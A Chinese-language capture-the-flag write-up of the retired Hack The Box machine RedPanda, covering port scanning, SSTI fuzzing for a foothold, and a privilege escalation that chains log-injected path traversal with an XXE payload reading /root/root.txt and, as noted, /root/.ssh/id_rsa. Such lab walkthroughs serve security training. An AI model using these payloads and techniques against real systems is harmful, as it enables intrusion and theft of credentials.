概述 (Overview)
HOST: 10.10.11.170
OS: LINUX
发布时间: 2022-07-09
完成时间: 2022-07-15
机器作者: woodenk
困难程度: Easy
机器状态: 退休
MACHINE TAGS: #SourceCodeAnalysis #XXEExploitation #SSIT #CommandInjection
攻击链 (Kiillchain)
HTB 关于 RedPanda
RedPanda 是一款 Easy 等级的 Linux 机器,其网站搜索引擎使用 Java Spring Boot 框架制作。该搜索引擎存在服务器端模板注入漏洞,可被利用来以用户 woodenk
的身份获得一个 shell。枚举系统上运行的进程,可以发现一个以用户 root
身份作为 cron 作业运行的 Java
程序。查看该程序的源代码后,我们可以确定它存在 XXE 漏洞。利用 cron 作业中的 XXE 漏洞,我们可以获取 root
用户的 SSH 私钥,从而实现权限提升。然后,我们就可以通过 SSH 以用户 root
登录,并获取 root 标志。
枚举(Enumeration)
初始状态下还是使用 Nmap 对目标服务器开放端口进扫描。
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Red Panda Search | Made with Spring Boot
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
从结果中获知仅对外开放了两个端口,从 title 中能知道 web 服务器是一个 Java 的 Spring Boot 应用。
Port 8080 - web
浏览器访问站点仅有一个搜索表单。
使用 feroxbuster 工具进行路径枚举,能够发现存在一个 /stats
路径。
$ feroxbuster -u http://10.10.11.170:8080 ...snip... 200 GET 32l 97w 987c http://10.10.11.170:8080/stats
立足点(Foothold)
访问后能就是一个根据作者信息查询图片统计的页面,可以填写不同的作者名称进行搜索。
简单通过 bash 命令将搜索到图片路径从服务器中下载至本地,随后进行查看。
在文件夹中的预览中,发现有一个图片未正常显示,通过查隐写类信息暂时未发现有什么可疑的东西。
转头开始对图片搜索的 url 参数进行 fuzzing,发现传递 {{7*7}}
时存在 400 响应码。但 4xx 的码一般表示客户端发送 http 包存在错误,而现在发送的 {{7*7}}
GET 查询在一般情况下是不会出现异常的,猜测可能存在 Waf 类模块或 nginx 自定义了响应抑制了后端错误详情。
进一步测试加入 SecLists 字典,使用 wfuzz 工具对其进行 fuzzing(也可以使用 ffuf,反正目的都是一样的):
# wfuzz
$ wfuzz -c -z file,/home/x/tools/DictionaryTools/SecLists/Fuzzing/template-engines-expression.txt --sc 200 -d 'name=FUZZ' --ss 1764 http://10.10.11.170:8080/search
# ffuf
$ ffuf -H "Content-Type: application/x-www-form-urlencoded" -w /home/x/tools/DictionaryTo
ols/SecLists/Fuzzing/template-engines-expression.txt -X POST -u http://10.10.11.170:8080/search -d "name=FUZZ" -x 'http://127.0.0.1:8080' -fs 1764 -mc 200
结合页面返回的信息判断目标站点是存在 SSTI (Server Side Template Injection) 漏洞的,参考文章内容进一步测试 Web 服务所使用的开发语言类型,随后使用 https://github.com/payloadbox/ssti-payloads工具构造反弹 shell。
验证目标服务器出网命令执行请求:
OK,接着就是文件传递、增加运行权限及运行脚本的操作,成功拿到立足点 shell。
(remote) woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat /home/woodenk/user.txt
259a40*********b1c085f2
权限提升(Privilege Escalation)
首先看了一眼进程列表,发现当前 shell 在已 root 权限执行的定时任务进程链中(大致清楚后续提权路径和方式了)。
root 875 0.0 0.1 6812 2776 ? Ss Jul14 0:00 /usr/sbin/cron -f root 876 0.0 0.1 8356 3028 ? S Jul14 0:00 _ /usr/sbin/CRON -f root 879 0.0 0.0 2608 592 ? Ss Jul14 0:00 _ /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar root 880 0.0 0.2 9416 4364 ? S Jul14 0:00 _ sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
将 linpeas 脚本传递至目标服务器运行深度信息收集,发现一个可疑的 /credits
文件夹里面保存的是 xml 文件,含之前在 8080 端口中查看到的图片路径和计数信息。
转到 /opt/panda_search/
路径下查看 Java 项目并进行代码审查,在代码中发现硬编码的数据库链接账号,而复用该密码可以成功 SSH 服务登录 woodenk 用户。
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
通过搜索文件代码中含 /credits
的路径字符串信息,定位到功能代码。当用户请求 GET /stats
路径后判断 author
参数字符串内容,如何是 woodenk
、damian
就加载路径中的 xml 文件并转换成对象进行赋值,最终输出到模版返回 html 代码。
观察到代码中的 SAXBuilder.build(fb)
方法转换 xml 字符串至对象来自 import org.jdom2.input.SAXBuilder;
,查看 pom.xml 文件中 org.jdom2
组件的版本为 2.0.6.1
,而根据这个版本信息查询历史漏洞库发现存在 XML External Entity (XXE) Injection 漏洞。
接下来就是找利用方式了,当前 shell 是没有直接写入 /credits
文件夹内文件的权限的。将 pspy 工具传递至目标服务器,运行它监听计划任务。
可以看到 root 用户会定期执行 run_credits.sh
脚本及 jar 包。看了眼 /opt/cleanup.sh
文件内容,是用来搜索 xml、jpg 文件并清理的命令。
woodenk@redpanda:~$ cat /opt/cleanup.sh
##!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
在查看代码时发现 RequestInterceptor.java
内含有一个全局 request 过滤拦截函数,会将 UserAgent
等内容记录到 redpanda.log
文件中。
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
在 Web 项目的代码中未找到处理 redpanda.log
文件的内容,转到 /opt/credit-score/LogParser/
目录下去找,发现利用链。
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
代码逻辑是:按行读取 redpanda.log 文件内容判断字符串内容是否含有 .jpg
,随后对字符串内容进行处理。通过分割 ||
字符串将其转换成数组对象,取原组数 url 段中的字符串进行读取图片 meta 信息。
在 getArtist
方法中拼接了 fullpath
路径字符串,用于读取图片的 meta 信息对象。随后循环了 meta 对象,从中获取 Artist
标签内容最终传递给 addViewTo
方法。而 addViewTo
函数内代码可用于触发 XXE。
首先留意到 xmlOutput.output()
方法,这一般是用于输出 XML 内容保存至本地文件的。这里的权限提升的攻击链已经很清晰了,通过传递的 UserAgent
控制转换的 url 字符串进行路径穿越,使脚本能对任意 .jpg
后缀的文件信息进行读取,改写图片的 Artist
标签内容控制 xmlPath
路径实现路径穿越,最后利用 root 身份触发 XXE 进行本地文件读取,将读取到的内容重新保存至 XML 文件中。
读取 root flag 步骤:
第一步,利用 exiftool
将图片 Artist
标签进行修改,随后上传至 woodenk 用户目录下:
第二步,根据 addViewTo
函数中对 XML 解析格式构造 XXE 本地读取 exploit :
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///root/root.txt"> ]>
<root>
<totalviews>0</totalviews>
<image>
<uri>../../../../../../home/woodenk/shy.jpg</uri>
<flag>&example;</flag>
<views>0</views>
</image>
</root>
将 exploit 文件命名为 shy_creds.xml
并上传至 woodenk 用户目录下,发起用于控制 fullpath
的 GET 请求触发 log 写入。
利用该方法也可以直接获取 root 登录私钥 file:///root/.ssh/id_rsa
。
参考
- https://www.jdoodle.com/online-java-compiler/
- https://github.com/payloadbox/xxe-injection-payload-list